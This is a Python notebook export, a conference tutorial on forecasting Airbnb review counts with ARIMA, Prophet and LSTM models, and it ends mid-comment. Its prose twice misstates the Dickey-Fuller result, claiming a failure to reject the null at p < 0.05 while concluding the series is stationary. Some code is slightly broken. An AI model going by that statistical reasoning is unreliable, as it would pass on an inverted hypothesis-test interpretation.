"lm_q2_score": 0.16667539640920676, "lm_q1q2_score": 0.07042112506838775}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Applying statistical modeling and machine learning to perform time-series forecasting.\n\n# Tamara Louie  \n# PyData LA  \n# October 2018\n\n# # Time-series data due diligence\n\n# ## Read in my data\n# **Please download from http://insideairbnb.com/get-the-data.html the following CSV file (23 MB) under the \"Los Angeles\" section:**\n# \n# \treviews.csv\n#   \n# \n# You should have **reviews.csv** stored somewhere locally. \n# \n# Run the cell below, and click on the button **Choose Files**, to select your **reviews.csv** to upload.  \n# \n# *Note: It will take some time to upload this data, so please start your upload and this upload will run for a couple of minutes.*\n\n# In[6]:\n\n\nimport pandas as pd\n\nuploaded = pd.read_csv(\"reviews.csv\")\n\nfor fn in uploaded.keys():\n  print('User uploaded file \"{name}\" with length {length} bytes'.format(\n      name=fn, length=len(uploaded[fn])))\n\n\n# ## Import some relevant packages\n# Ideally, one should set up their own virtual environment and determine the versions of each library that they are using.  Here, we will assume that the colaboratory environment has some shared environment with access to common Python libraries and the ability to install other libraries necessary.\n\n# In[7]:\n\n\n# import packages\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nfrom IPython.display import display, HTML, display_html\nimport seaborn as sns\nimport datetime\n\n\n# set formatting\npd.set_option('display.max_columns', 100)\npd.set_option('display.max_rows', 100)\n\n# read in CSV file data\ndf = pd.read_csv('reviews.csv')\n\n\n# ## Look at my data\n# - How many rows are in the dataset?\n# - How many columns are in this dataset?\n# - What data types are the columns?\n# - Is the data complete? Are there nulls? Do we have to infer values?\n# - What is the definition of these columns?\n# - What are some other caveats to the data?\n# \n\n# In[8]:\n\n\n# look at data\ndisplay(df.head())\n\n# look a shape of data\ndisplay(df.shape)\n\n# look at data types. Ideally look at all rows. Only look at first five here for minimal output.\ndisplay(df.iloc[:5,:5].dtypes)\n\n# see if any columns have nulls. Ideally look at all rows. Only look at first five here for minimal output.\ndisplay(df.iloc[:5,:5].isnull().any())\n\n# display descriptive statistics\ndisplay(df.describe(percentiles=[0.25,0.5,0.75,0.85,0.95,0.99]))\n\n\n# ## What are some questions I can answer with this data?\n# \n# Understand the limitations of your data and what potential questions can be answered by data is important.  These questions can reduce, expand, or modify the scope of your project.\n# \n# If you defined a scope or goal for your project before digging into the data, this might be a good time to revisit it.\n# \n# **Data.** We have daily count of reviews for given listing ids for given dates.\n# \n# **Questions I could try to answer. **\n# \n# *   Forecast future number of reviews for the Los Angeles area.\n# * Forecast the future number of reviews for specific listings in the Los Angeles area.\n\n# ## What techniques may help answer these questions?\n# ### Statistical models\n# *   **Ignore the time-series aspect completely and model using traditional statistical modeling toolbox.** \n#   *   *Examples.* Regression-based models.  \n# *   **Univariate statistical time-series modeling.**\n#   *   *Examples.* Averaging and smoothing models, ARIMA models.\n# *   **Slight modifications to univariate statistical time-series modeling.**\n#   *    *Examples.* External regressors, multi-variate models.\n# *   **Additive or component models.**\n#   *  *Examples.* Facebook Prophet package.\n# *   **Structural time series modeling.**\n#   *    *Examples.* Bayesian structural time series modeling, hierarchical time series modeling.\n# \n# ### Machine learning models\n# \n# *   **Ignore the time-series aspect completely and model using traditional machine learning modeling toolbox.** \n#   *   *Examples.* Support Vector Machines (SVMs), Random Forest Regression, Gradient-Boosted Decision Trees (GBDTs).\n# *   **Hidden markov models (HMMs).**\n# *   **Other sequence-based models.**\n# *   **Gaussian processes (GPs).**\n# *   **Recurrent neural networks (RNNs).**\n#   \n# ### Additional data considerations before choosing a model\n# *   Whether or not to incorporate external data\n# *   Whether or not to keep as univariate or multivariate (i.e., which features and number of features)\n# *   Outlier detection and removal\n# *   Missing value imputation\n\n# # Let's analyze some time-series data!\n# \n# - [Link 1](https://www.analyticsvidhya.com/blog/2016/02/time-series-forecasting-codes-python/)\n# - [Link 2](https://content.nexosis.com/blog/methods-of-demand-forecasting-bsts-prophet)\n\n# ## Process my data\n\n# In[9]:\n\n\n# Rename columns\ndf = df.rename(columns = {'date': 'ds', 'listing_id': 'ts'})\n\n# Group data by number of listings per date\ndf_example = df.groupby(by = 'ds').agg({'ts': 'count'})\n\n# Change index to datetime\ndf_example.index = pd.to_datetime(df_example.index)\n\n# Set frequency of time series\ndf_example = df_example.asfreq(freq='1D')\n\n# Sort the values\ndf_example = df_example.sort_index(ascending = True)\n\n# Fill values with 0\ndf_example = df_example.fillna(value = 0)\n\n# Show the end of the data\ndisplay(df_example.tail())\n\n\n# ## Plot my data\n# - There does appear to be an overall increasing trend. \n# - There appears to be some differences in the variance over time. \n# - There may be some seasonality (i.e., cycles) in the data.\n# - Not sure about outliers.\n\n# In[10]:\n\n\n# Plot time series data\nf, ax = plt.subplots(1,1)\nax.plot(df_example['ts'])\n\n# Add title\nax.set_title('Time-series graph for 1 time-series example')\n\n# Rotate x-labels\nax.tick_params(axis = 'x', rotation = 45)\n\n# Show graph\nplt.show()\nplt.close()\n\n\n# ## Look at stationarity\n# Most time-series models assume that the underlying time-series data is **stationary**.  This assumption gives us some nice statistical properties that allows us to use various models for forecasting.\n# \n# **Stationarity** is a statistical assumption that a time-series has:\n# *   **Constant mean**\n# *   **Constant variance**\n# *   **Autocovariance does not depend on time**\n# \n# More simply put, if we are using past data to predict future data, we should assume that the data will follow the same general trends and patterns as in the past.  This general statement holds for most training data and modeling tasks.\n# \n# **There are some good diagrams and explanations on stationarity [here](https://www.analyticsvidhya.com/blog/2015/12/complete-tutorial-time-series-modeling/) and [here](https://people.duke.edu/~rnau/411diff.htm).**\n# \n# Sometimes we need to transform the data in order to make it stationary.  However, this  transformation then calls into question if this data is truly stationary and is suited to be modeled using these techniques.\n# \n# **Looking at our data:**\n# - Rolling mean and standard deviation look like they change over time.  There may be some de-trending and removing seasonality involved. Based on **Dickey-Fuller test**, because p = 0.31, we fail to reject the null hypothesis (that the time series is not stationary) at the p = 0.05 level, thus concluding that we fail to reject the null hypothesis that our **time series is not stationary**.\n\n# In[14]:\n\n\nfrom statsmodels.tsa.stattools import adfuller\ndef test_stationarity(df, ts):\n    \"\"\"\n    Test stationarity using moving average statistics and Dickey-Fuller test\n    Source: https://www.analyticsvidhya.com/blog/2016/02/time-series-forecasting-codes-python/\n    \"\"\"\n    \n    # Determing rolling statistics\n    rolmean = df[ts].rolling(window = 12, center = False).mean()\n    rolstd = df[ts].rolling(window = 12, center = False).std()\n    \n    # Plot rolling statistics:\n    orig = plt.plot(df[ts], \n                    color = 'blue', \n                    label = 'Original')\n    mean = plt.plot(rolmean, \n                    color = 'red', \n                    label = 'Rolling Mean')\n    std = plt.plot(rolstd, \n                   color = 'black', \n                   label = 'Rolling Std')\n    plt.legend(loc = 'best')\n    plt.title('Rolling Mean & Standard Deviation for %s' %(ts))\n    plt.xticks(rotation = 45)\n    plt.show(block = False)\n    plt.close()\n    \n    # Perform Dickey-Fuller test:\n    # Null Hypothesis (H_0): time series is not stationary\n    # Alternate Hypothesis (H_1): time series is stationary\n    print('Results of Dickey-Fuller Test:')\n    dftest = adfuller(df[ts], \n                      autolag='AIC')\n    dfoutput = pd.Series(dftest[0:4], \n                         index = ['Test Statistic',\n                                  'p-value',\n                                  '# Lags Used',\n                                  'Number of Observations Used'])\n    for key, value in dftest[4].items():\n        dfoutput['Critical Value (%s)'%key] = value\n    print dfoutput\n\n\n# In[12]:\n\n\ntest_stationarity(df = df_example, ts = 'ts')\n\n\n# ## Correct for stationarity\n# \n# It is common for time series data to have to correct for non-stationarity. \n# \n# 2 common reasons behind non-stationarity are:\n# \n# 1. **Trend** \u2013 mean is not constant over time.\n# 2. **Seasonality** \u2013 variance is not constant over time.\n# \n# There are ways to correct for trend and seasonality, to make the time series stationary.\n\n# **What happens if you do not correct for these things?**\n# \n# Many things can happen, including:\n# - Variance can be mis-specified\n# - Model fit can be worse.  \n# - Not leveraging valuable time-dependent nature of the data.  \n# \n# Here are some resources on the pitfalls of using traditional methods for time series analysis.  \n# [Quora link](https://www.quora.com/Why-cant-you-use-linear-regression-for-time-series-data)  \n# [Quora link](https://www.quora.com/Data-Science-Can-machine-learning-be-used-for-time-series-analysis)  \n# \n\n# ## Eliminating trend and seasonality\n# *   **Transformation**\n#   *   *Examples.* Log, square root, etc.\n#   *   We are going to look at log.\n# *   **Smoothing**\n#   *  *Examples.* Weekly average, monthly average, rolling averages.\n#   *   We are going to look at weekly average.\n# *   **Differencing**\n#   *  *Examples.* First-order differencing.\n#   *   We are going to look at first-order differencing.\n# *   **Polynomial Fitting**\n#   *  *Examples.* Fit a regression model.\n# *   **Decomposition**\n\n# ## Transformation, Smoothing, and Differencing\n# **Looking at our data:**\n# - Applying log transformation, weekly moving average smoothing, and differencing made the data more stationary over time. Based on **Dickey-Fuller test**, because p = < 0.05, we fail to reject the null hypothesis (that the time series is not stationary) at the p = 0.05 level, thus concluding that the **time series is stationary**.\n\n# In[1]:\n\n\ndef plot_transformed_data(df, ts, ts_transform):\n  \"\"\"\n  Plot transformed and original time series data\n  \"\"\"\n  # Plot time series data\n  f, ax = plt.subplots(1,1)\n  ax.plot(df[ts])\n  ax.plot(df[ts_transform], color = 'red')\n\n  # Add title\n  ax.set_title('%s and %s time-series graph' %(ts, ts_transform))\n\n  # Rotate x-labels\n  ax.tick_params(axis = 'x', rotation = 45)\n\n  # Add legend\n  ax.legend([ts, ts_transform])\n  \n  plt.show()\n  plt.close()\n  \n  return\n\n\n# In[2]:\n\n\n# Transformation - log ts\ndf_example['ts_log'] = df_example['ts'].apply(lambda x: np.log(x))\n\n# Transformation - 7-day moving averages of log ts\ndf_example['ts_log_moving_avg'] = df_example['ts_log'].rolling(window = 7,\n                                                               center = False).mean()\n\n# Transformation - 7-day moving average ts\ndf_example['ts_moving_avg'] = df_example['ts'].rolling(window = 7,\n                                                       center = False).mean()\n\n# Transformation - Difference between logged ts and first-order difference logged ts\n# df_example['ts_log_diff'] = df_example['ts_log'] - df_example['ts_log'].shift()\ndf_example['ts_log_diff'] = df_example['ts_log'].diff()\n\n# Transformation - Difference between ts and moving average ts\ndf_example['ts_moving_avg_diff'] = df_example['ts'] - df_example['ts_moving_avg']\n\n# Transformation - Difference between logged ts and logged moving average ts\ndf_example['ts_log_moving_avg_diff'] = df_example['ts_log'] - df_example['ts_log_moving_avg']\n\n# Transformation - Difference between logged ts and logged moving average ts\ndf_example_transform = df_example.dropna()\n\n# Transformation - Logged exponentially weighted moving averages (EWMA) ts\ndf_example_transform['ts_log_ewma'] = df_example_transform['ts_log'].ewm(halflife = 7,\n                                                                         ignore_na = False,\n                                                                         min_periods = 0,\n                                                                         adjust = True).mean()\n\n# Transformation - Difference between logged ts and logged EWMA ts\ndf_example_transform['ts_log_ewma_diff'] = df_example_transform['ts_log'] - df_example_transform['ts_log_ewma']\n\n# Display data\ndisplay(df_example_transform.head())\n\n# Plot data\nplot_transformed_data(df = df_example, \n                      ts = 'ts', \n                      ts_transform = 'ts_log')\n# Plot data\nplot_transformed_data(df = df_example, \n                      ts = 'ts_log', \n                      ts_transform = 'ts_log_moving_avg')\n\n# Plot data\nplot_transformed_data(df = df_example_transform, \n                      ts = 'ts', \n                      ts_transform = 'ts_moving_avg')\n\n# Plot data\nplot_transformed_data(df = df_example_transform, \n                      ts = 'ts_log', \n                      ts_transform = 'ts_log_diff')\n\n# Plot data\nplot_transformed_data(df = df_example_transform, \n                      ts = 'ts', \n                      ts_transform = 'ts_moving_avg_diff')\n\n# Plot data\nplot_transformed_data(df = df_example_transform, \n                      ts = 'ts_log', \n                      ts_transform = 'ts_log_moving_avg_diff')\n\n# Plot data\nplot_transformed_data(df = df_example_transform, \n                      ts = 'ts_log', \n                      ts_transform = 'ts_log_ewma')\n\n# Plot data\nplot_transformed_data(df = df_example_transform, \n                      ts = 'ts_log', \n                      ts_transform = 'ts_log_ewma_diff')\n\n# Perform stationarity test\ntest_stationarity(df = df_example_transform, \n                  ts = 'ts_log')\n\n# Perform stationarity test\ntest_stationarity(df = df_example_transform, \n                  ts = 'ts_moving_avg')\n\n# Perform stationarity test\ntest_stationarity(df = df_example_transform, \n                  ts = 'ts_log_moving_avg')\n\n# Perform stationarity test\ntest_stationarity(df = df_example_transform,\n                  ts = 'ts_log_diff')\n\n# Perform stationarity test\ntest_stationarity(df = df_example_transform,\n                  ts = 'ts_moving_avg_diff')\n\n# Perform stationarity test\ntest_stationarity(df = df_example_transform,\n                  ts = 'ts_log_moving_avg_diff')\n\n# Perform stationarity test\ntest_stationarity(df = df_example_transform, \n                  ts = 'ts_log_ewma')\n\n# Perform stationarity test\ntest_stationarity(df = df_example_transform,\n                  ts = 'ts_log_ewma_diff')\n\n\n# ## Decomposition: trend, seasonality, residuals\n# **Looking at our data:**\n# - De-trending and de-seasonalizing made the data (i.e., the residuals) more stationary over time. Based on **Dickey-Fuller test**, because p = < 0.05, we fail to reject the null hypothesis (that the time series is not stationary) at the p = 0.05 level, thus concluding that the **time series is stationary**.\n\n# In[23]:\n\n\ndef plot_decomposition(df, ts, trend, seasonal, residual):\n  \"\"\"\n  Plot time series data\n  \"\"\"\n  f, ((ax1, ax2), (ax3, ax4)) = plt.subplots(2,2, figsize = (15, 5), sharex = True)\n\n  ax1.plot(df[ts], label = 'Original')\n  ax1.legend(loc = 'best')\n  ax1.tick_params(axis = 'x', rotation = 45)\n\n  ax2.plot(df[trend], label = 'Trend')\n  ax2.legend(loc = 'best')\n  ax2.tick_params(axis = 'x', rotation = 45)\n\n  ax3.plot(df[seasonal],label = 'Seasonality')\n  ax3.legend(loc = 'best')\n  ax3.tick_params(axis = 'x', rotation = 45)\n\n  ax4.plot(df[residual], label = 'Residuals')\n  ax4.legend(loc = 'best')\n  ax4.tick_params(axis = 'x', rotation = 45)\n  plt.tight_layout()\n\n  # Show graph\n  plt.suptitle('Trend, Seasonal, and Residual Decomposition of %s' %(ts), \n               x = 0.5, \n               y = 1.05, \n               fontsize = 18)\n  plt.show()\n  plt.close()\n  \n  return\n\n\n# In[24]:\n\n\nfrom statsmodels.tsa.seasonal import seasonal_decompose\ndecomposition = seasonal_decompose(df_example_transform['ts_log'], freq = 365)\n\ndf_example_transform.loc[:,'trend'] = decomposition.trend\ndf_example_transform.loc[:,'seasonal'] = decomposition.seasonal\ndf_example_transform.loc[:,'residual'] = decomposition.resid\n\nplot_decomposition(df = df_example_transform, \n                   ts = 'ts_log', \n                   trend = 'trend',\n                   seasonal = 'seasonal', \n                   residual = 'residual')\n\ntest_stationarity(df = df_example_transform.dropna(), ts = 'residual')\n\n\n# # Let us model some time-series data! Finally! ARIMA models.\n# \n# We will be doing an example here! We can use ARIMA models when we know there is dependence between values and we can leverage that information to forecast.\n# \n# **ARIMA = Auto-Regressive Integrated Moving Average**.   \n# **Assumptions.** The time-series is stationary.  \n# **Depends on:**  \n#   **1. Number of AR (Auto-Regressive) terms (p).**  \n#   **2. Number of I (Integrated or Difference) terms (d).**  \n#   **3. Number of MA (Moving Average) terms (q).**  \n\n# ## ACF and PACF Plots\n# **How do we determine p, d, and q?**\n# For p and q, we can use ACF and PACF plots (below).\n# \n# **Autocorrelation Function (ACF).** Correlation between the time series with a lagged version of itself (e.g., correlation of Y(t) with Y(t-1)).\n# \n# **Partial Autocorrelation Function (PACF).** Additional correlation explained by each successive lagged term.\n# \n# **How do we interpret ACF and PACF plots?**\n# - p \u2013 Lag value where the PACF chart crosses the upper confidence interval for the first time.\n# - q \u2013 Lag value where the ACF chart crosses the upper confidence interval for the first time.\n# \n\n# In[25]:\n\n\ndef plot_acf_pacf(df, ts):\n  \"\"\"\n  Plot auto-correlation function (ACF) and partial auto-correlation (PACF) plots\n  \"\"\"\n  f, (ax1, ax2) = plt.subplots(1,2, figsize = (10, 5)) \n\n  #Plot ACF: \n\n  ax1.plot(lag_acf)\n  ax1.axhline(y=0,linestyle='--',color='gray')\n  ax1.axhline(y=-1.96/np.sqrt(len(df[ts])),linestyle='--',color='gray')\n  ax1.axhline(y=1.96/np.sqrt(len(df[ts])),linestyle='--',color='gray')\n  ax1.set_title('Autocorrelation Function for %s' %(ts))\n\n  #Plot PACF:\n  ax2.plot(lag_pacf)\n  ax2.axhline(y=0,linestyle='--',color='gray')\n  ax2.axhline(y=-1.96/np.sqrt(len(df[ts])),linestyle='--',color='gray')\n  ax2.axhline(y=1.96/np.sqrt(len(df[ts])),linestyle='--',color='gray')\n  ax2.set_title('Partial Autocorrelation Function for %s' %(ts))\n  \n  plt.tight_layout()\n  plt.show()\n  plt.close()\n  \n  return\n\n\n# In[26]:\n\n\n#ACF and PACF plots:\nfrom statsmodels.tsa.stattools import acf, pacf\n\n# determine ACF and PACF\nlag_acf = acf(np.array(df_example_transform['ts_log_diff']), nlags = 20)\nlag_pacf = pacf(np.array(df_example_transform['ts_log_diff']), nlags = 20)\n\n# plot ACF and PACF\nplot_acf_pacf(df = df_example_transform, ts = 'ts_log_diff')\n\n\n# In[27]:\n\n\ndef run_arima_model(df, ts, p, d, q):\n  \"\"\"\n  Run ARIMA model\n  \"\"\"\n  from statsmodels.tsa.arima_model import ARIMA\n\n  # fit ARIMA model on time series\n  model = ARIMA(df[ts], order=(p, d, q))  \n  results_ = model.fit(disp=-1)  \n  \n  # get lengths correct to calculate RSS\n  len_results = len(results_.fittedvalues)\n  ts_modified = df[ts][-len_results:]\n  \n  # calculate root mean square error (RMSE) and residual sum of squares (RSS)\n  rss = sum((results_.fittedvalues - ts_modified)**2)\n  rmse = np.sqrt(rss / len(df[ts]))\n  \n  # plot fit\n  plt.plot(df[ts])\n  plt.plot(results_.fittedvalues, color = 'red')\n  plt.title('For ARIMA model (%i, %i, %i) for ts %s, RSS: %.4f, RMSE: %.4f' %(p, d, q, ts, rss, rmse))\n  \n  plt.show()\n  plt.close()\n  \n  return results_\n\n\n# In[28]:\n\n\n# Note: I do the differencing in the transformation of the data 'ts_log_diff'\n# AR model with 1st order differencing - ARIMA (1,0,0)\nmodel_AR = run_arima_model(df = df_example_transform, \n                           ts = 'ts_log_diff', \n                           p = 1, \n                           d = 0, \n                           q = 0)\n\n# MA model with 1st order differencing - ARIMA (0,0,1)\nmodel_MA = run_arima_model(df = df_example_transform, \n                           ts = 'ts_log_diff', \n                           p = 0, \n                           d = 0, \n                           q = 1)\n\n# ARMA model with 1st order differencing - ARIMA (1,0,1)\nmodel_MA = run_arima_model(df = df_example_transform, \n                           ts = 'ts_log_diff', \n                           p = 1, \n                           d = 0, \n                           q = 1)\n\n\n# # Let us model some time-series data! Finally! Facebook Prophet package.\n# \n# We will be doing an example here! Installing the necessary packages might take a couple of minutes.  In the meantime, I can talk a bit about [Facebook Prophet](https://facebook.github.io/prophet/), a tool that allows folks to forecast using additive or component models relatively easily.  It can also include things like:\n# * Day of week effects\n# * Day of year effects\n# * Holiday effects\n# * Trend trajectory\n# * Can do MCMC sampling\n\n# In[29]:\n\n\nget_ipython().system('pip install pystan')\nget_ipython().system('pip install fbprophet')\nfrom fbprophet import Prophet\nimport datetime\nfrom datetime import datetime\n\n\n# In[30]:\n\n\ndef days_between(d1, d2):\n    \"\"\"Calculate the number of days between two dates.  D1 is start date (inclusive) and d2 is end date (inclusive)\"\"\"\n    d1 = datetime.strptime(d1, \"%Y-%m-%d\")\n    d2 = datetime.strptime(d2, \"%Y-%m-%d\")\n    return abs((d2 - d1).days + 1)\n\n\n# In[31]:\n\n\n# Inputs for query\n\ndate_column = 'dt'\nmetric_column = 'ts'\ntable = df_example\nstart_training_date = '2010-07-03'\nend_training_date = '2018-09-08'\nstart_forecasting_date = '2018-09-09'\nend_forecasting_date = '2018-12-31'\nyear_to_estimate = '2018'\n\n# Inputs for forecasting\n\n# future_num_points\n# If doing different time intervals, change future_num_points\nfuture_num_points = days_between(start_forecasting_date, end_forecasting_date)\n\ncap = None # 2e6\n\n# growth: default = 'linear'\n# Can also choose 'logistic'\ngrowth = 'linear'\n\n# n_changepoints: default = 25, uniformly placed in first 80% of time series\nn_changepoints = 25 \n\n# changepoint_prior_scale: default = 0.05\n# Increasing it will make the trend more flexible\nchangepoint_prior_scale = 0.05 \n\n# changpoints: example = ['2016-01-01']\nchangepoints = None \n\n# holidays_prior_scale: default = 10\n# If you find that the holidays are overfitting, you can adjust their prior scale to smooth them\nholidays_prior_scale = 10 \n\n# interval_width: default = 0.8\ninterval_width = 0.8 \n\n# mcmc_samples: default = 0\n# By default Prophet will only return uncertainty in the trend and observation noise.\n# To get uncertainty in seasonality, you must do full Bayesian sampling. \n# Replaces typical MAP estimation with MCMC sampling, and takes MUCH LONGER - e.g., 10 minutes instead of 10 seconds.\n# If you do full sampling, then you will see the uncertainty in seasonal components when you plot:\nmcmc_samples = 0\n\n# holiday: default = None\n# thanksgiving = pd.DataFrame({\n#   'holiday': 'thanksgiving',\n#   'ds': pd.to_datetime(['2014-11-27', '2015-11-26',\n#                         '2016-11-24', '2017-11-23']),\n#   'lower_window': 0,\n#   'upper_window': 4,\n# })\n# christmas = pd.DataFrame({\n#   'holiday': 'christmas',\n#   'ds': pd.to_datetime(['2014-12-25', '2015-12-25', \n#                         '2016-12-25','2017-12-25']),\n#   'lower_window': -1,\n#   'upper_window': 0,\n# })\n# holidays = pd.concat((thanksgiving,christmas))\nholidays = None\n\ndaily_seasonality = True\n\n\n# In[32]:\n\n\n# get relevant data - note: could also try this with ts_log_diff\ndf_prophet = df_example_transform[['ts']] # can try with ts_log_diff\n\n# reset index\ndf_prophet = df_prophet.reset_index()\n\n# rename columns\ndf_prophet = df_prophet.rename(columns = {'ds': 'ds', 'ts': 'y'}) # can try with ts_log_diff\n\n# Change 'ds' type from datetime to date (necessary for FB Prophet)\ndf_prophet['ds'] = pd.to_datetime(df_prophet['ds'])\n\n# Change 'y' type to numeric (necessary for FB Prophet)\ndf_prophet['y'] = pd.to_numeric(df_prophet['y'], errors='ignore')\n\n# Remove any outliers\n# df.loc[(df_['ds'] > '2016-12-13') & (df_['ds'] < '2016-12-19'), 'y'] = None\n\n\n# In[33]:\n\n\ndef create_daily_forecast(df,\n#                           cap,\n                          holidays,\n                          growth,\n                          n_changepoints = 25,\n                          changepoint_prior_scale = 0.05,\n                          changepoints = None,\n                          holidays_prior_scale = 10,\n                          interval_width = 0.8,\n                          mcmc_samples = 1,\n                          future_num_points = 10, \n                          daily_seasonality = True):\n  \"\"\"\n  Create forecast\n  \"\"\"\n  \n  # Create copy of dataframe\n  df_ = df.copy()\n\n  # Add in growth parameter, which can change over time\n  #     df_['cap'] = max(df_['y']) if cap is None else cap\n\n  # Create model object and fit to dataframe\n  m = Prophet(growth = growth,\n              n_changepoints = n_changepoints,\n              changepoint_prior_scale = changepoint_prior_scale,\n              changepoints = changepoints,\n              holidays = holidays,\n              holidays_prior_scale = holidays_prior_scale,\n              interval_width = interval_width,\n              mcmc_samples = mcmc_samples, \n              daily_seasonality = daily_seasonality)\n\n  # Fit model with dataframe\n  m.fit(df_)\n\n  # Create dataframe for predictions\n  future = m.make_future_dataframe(periods = future_num_points)\n  #     future['cap'] = max(df_['y']) if cap is None else cap\n\n  # Create predictions\n  fcst = m.predict(future)\n\n  # Plot\n  m.plot(fcst);\n  m.plot_components(fcst)\n\n  return fcst\n\n\n# In[ ]:\n\n\nfcst = create_daily_forecast(df_prophet,\n#                              cap,\n                             holidays,\n                             growth,\n                             n_changepoints,\n                             changepoint_prior_scale,\n                             changepoints, \n                             holidays_prior_scale,\n                             interval_width,\n                             mcmc_samples,\n                             future_num_points, \n                             daily_seasonality)\n\n\n# In[ ]:\n\n\ndef calculate_mape(y_true, y_pred):\n    \"\"\" Calculate mean absolute percentage error (MAPE)\"\"\"\n    return np.mean(np.abs((y_true - y_pred) / y_true)) * 100\n\ndef calculate_mpe(y_true, y_pred):\n    \"\"\" Calculate mean percentage error (MPE)\"\"\"\n    return np.mean((y_true - y_pred) / y_true) * 100\n\ndef calculate_mae(y_true, y_pred):\n    \"\"\" Calculate mean absolute error (MAE)\"\"\"\n    return np.mean(np.abs(y_true - y_pred)) * 100\n\ndef calculate_rmse(y_true, y_pred):\n    \"\"\" Calculate root mean square error (RMSE)\"\"\"\n    return np.sqrt(np.mean((y_true - y_pred)**2))\n\ndef print_error_metrics(y_true, y_pred):\n    print('MAPE: %f'%calculate_mape(y_true, y_pred))\n    print('MPE: %f'%calculate_mpe(y_true, y_pred))\n    print('MAE: %f'%calculate_mae(y_true, y_pred))\n    print('RMSE: %f'%calculate_rmse(y_true, y_pred))\n    return\n\n\n# In[ ]:\n\n\nprint_error_metrics(y_true = df_prophet['y'], y_pred = fcst['yhat'])\n\n\n# # Let us model some time-series data! Finally! LSTM for regression\n# \n# We will be going through an example here.\n# \n# Also, here are some resources on recurrent neural networks (RNN) and Long Short-Term Memory networks (LSTMs):\n# * [Link 1](https://machinelearningmastery.com/time-series-prediction-lstm-recurrent-neural-networks-python-keras/)\n# * [Link 2](https://blog.statsbot.co/time-series-prediction-using-recurrent-neural-networks-lstms-807fa6ca7f)\n# * [Link 3](http://adventuresinmachinelearning.com/recurrent-neural-networks-lstm-tutorial-tensorflow/)\n\n# In[ ]:\n\n\ndef do_lstm_model(df, \n                  ts, \n                  look_back, \n                  epochs, \n                  type_ = None, \n                  train_fraction = 0.67):\n  \"\"\"\n   Create LSTM model\n   Source: https://machinelearningmastery.com/time-series-prediction-lstm-recurrent-neural-networks-python-keras/\n  \"\"\"\n  # Import packages\n  import numpy\n  import matplotlib.pyplot as plt\n  from pandas import read_csv\n  import math\n  from keras.models import Sequential\n  from keras.layers import Dense\n  from keras.layers import LSTM\n  from sklearn.preprocessing import MinMaxScaler\n  from sklearn.metrics import mean_squared_error\n\n  # Convert an array of values into a dataset matrix\n  def create_dataset(dataset, look_back=1):\n    \"\"\"\n    Create the dataset\n    \"\"\"\n    dataX, dataY = [], []\n    for i in range(len(dataset)-look_back-1):\n      a = dataset[i:(i+look_back), 0]\n      dataX.append(a)\n      dataY.append(dataset[i + look_back, 0])\n    return numpy.array(dataX), numpy.array(dataY)\n\n  # Fix random seed for reproducibility\n  numpy.random.seed(7)\n\n  # Get dataset\n  dataset = df[ts].values\n  dataset = dataset.astype('float32')\n\n  # Normalize the dataset\n  scaler = MinMaxScaler(feature_range=(0, 1))\n  dataset = scaler.fit_transform(dataset.reshape(-1, 1))\n  \n  # Split into train and test sets\n  train_size = int(len(dataset) * train_fraction)\n  test_size = len(dataset) - train_size\n  train, test = dataset[0:train_size,:], dataset[train_size:len(dataset),:]\n  \n  # Reshape into X=t and Y=t+1\n  look_back = look_back\n  trainX, trainY = create_dataset(train, look_back)\n  testX, testY = create_dataset(test, look_back)\n  \n  # Reshape input to be [samples, time steps, features]\n  if type_ == 'regression with time steps':\n    trainX = numpy.reshape(trainX, (trainX.shape[0], trainX.shape[1], 1))\n    testX = numpy.reshape(testX, (testX.shape[0], testX.shape[1], 1))\n  elif type_ == 'stacked with memory between batches':\n    trainX = numpy.reshape(trainX, (trainX.shape[0], trainX.shape[1], 1))\n    testX = numpy.reshape(testX, (testX.shape[0], testX.shape[1], 1))\n  else:\n    trainX = numpy.reshape(trainX, (trainX.shape[0], 1, trainX.shape[1]))\n    testX = numpy.reshape(testX, (testX.shape[0], 1, testX.shape[1]))\n  \n  # Create and fit the LSTM network\n  batch_size = 1\n  model = Sequential()\n  \n  if type_ == 'regression with time steps':\n    model.add(LSTM(4, input_shape=(look_back, 1)))\n  elif type_ == 'memory between batches':\n    model.add(LSTM(4, batch_input_shape=(batch_size, look_back, 1), stateful=True))\n  elif type_ == 'stacked with memory between batches':\n    model.add(LSTM(4, batch_input_shape=(batch_size, look_back, 1), stateful=True, return_sequences=True))\n    model.add(LSTM(4, batch_input_shape=(batch_size, look_back, 1), stateful=True))\n  else:\n    model.add(LSTM(4, input_shape=(1, look_back)))\n  \n  model.add(Dense(1))\n  model.compile(loss='mean_squared_error', optimizer='adam')\n\n  if type_ == 'memory between batches' or type_ == 'stacked with memory between batches':\n    for i in range(100):\n      model.fit(trainX, trainY, epochs=1, batch_size=batch_size, verbose=2, shuffle=False)\n      model.reset_states()\n  else:\n    model.fit(trainX, \n              trainY, \n              epochs = epochs, \n              batch_size = 1, \n              verbose = 2)\n  \n  # Make predictions\n  if type_ == 'memory between batches' or type_ == 'stacked with memory between batches':\n    trainPredict = model.predict(trainX, batch_size=batch_size)\n    testPredict = model.predict(testX, batch_size=batch_size)\n  else:\n    trainPredict = model.predict(trainX)\n    testPredict = model.predict(testX)\n  \n  # Invert predictions\n  trainPredict = scaler.inverse_transform(trainPredict)\n  trainY = scaler.inverse_transform([trainY])\n  testPredict = scaler.inverse_transform(testPredict)\n  testY = scaler.inverse_transform([testY])\n  \n  # Calculate root mean squared error\n  trainScore = math.sqrt(mean_squared_error(trainY[0], trainPredict[:,0]))\n  print('Train Score: %.2f RMSE' % (trainScore))\n  testScore = math.sqrt(mean_squared_error(testY[0], testPredict[:,0]))\n  print('Test Score: %.2f RMSE' % (testScore))\n  \n  # Shift train predictions for plotting\n  trainPredictPlot = numpy.empty_like(dataset)\n  trainPredictPlot[:, :] = numpy.nan\n  trainPredictPlot[look_back:len(trainPredict)+look_back, :] = trainPredict\n  \n  # Shift test predictions for plotting\n  testPredictPlot = numpy.empty_like(dataset)\n  testPredictPlot[:, :] = numpy.nan\n  testPredictPlot[len(trainPredict)+(look_back*2)+1:len(dataset)-1, :] = testPredict\n  \n  # Plot baseline and predictions\n  plt.plot(scaler.inverse_transform(dataset))\n  plt.plot(trainPredictPlot)\n  plt.plot(testPredictPlot)\n  plt.show()\n  plt.close()\n  \n  return\n\n\n# In[ ]:\n\n\n# LSTM Network for Regression\ndo_lstm_model(df = df_prophet, \n              ts = 'y', \n              look_back = 1, \n              epochs = 5)\n\n# LSTM for Regression Using the Window 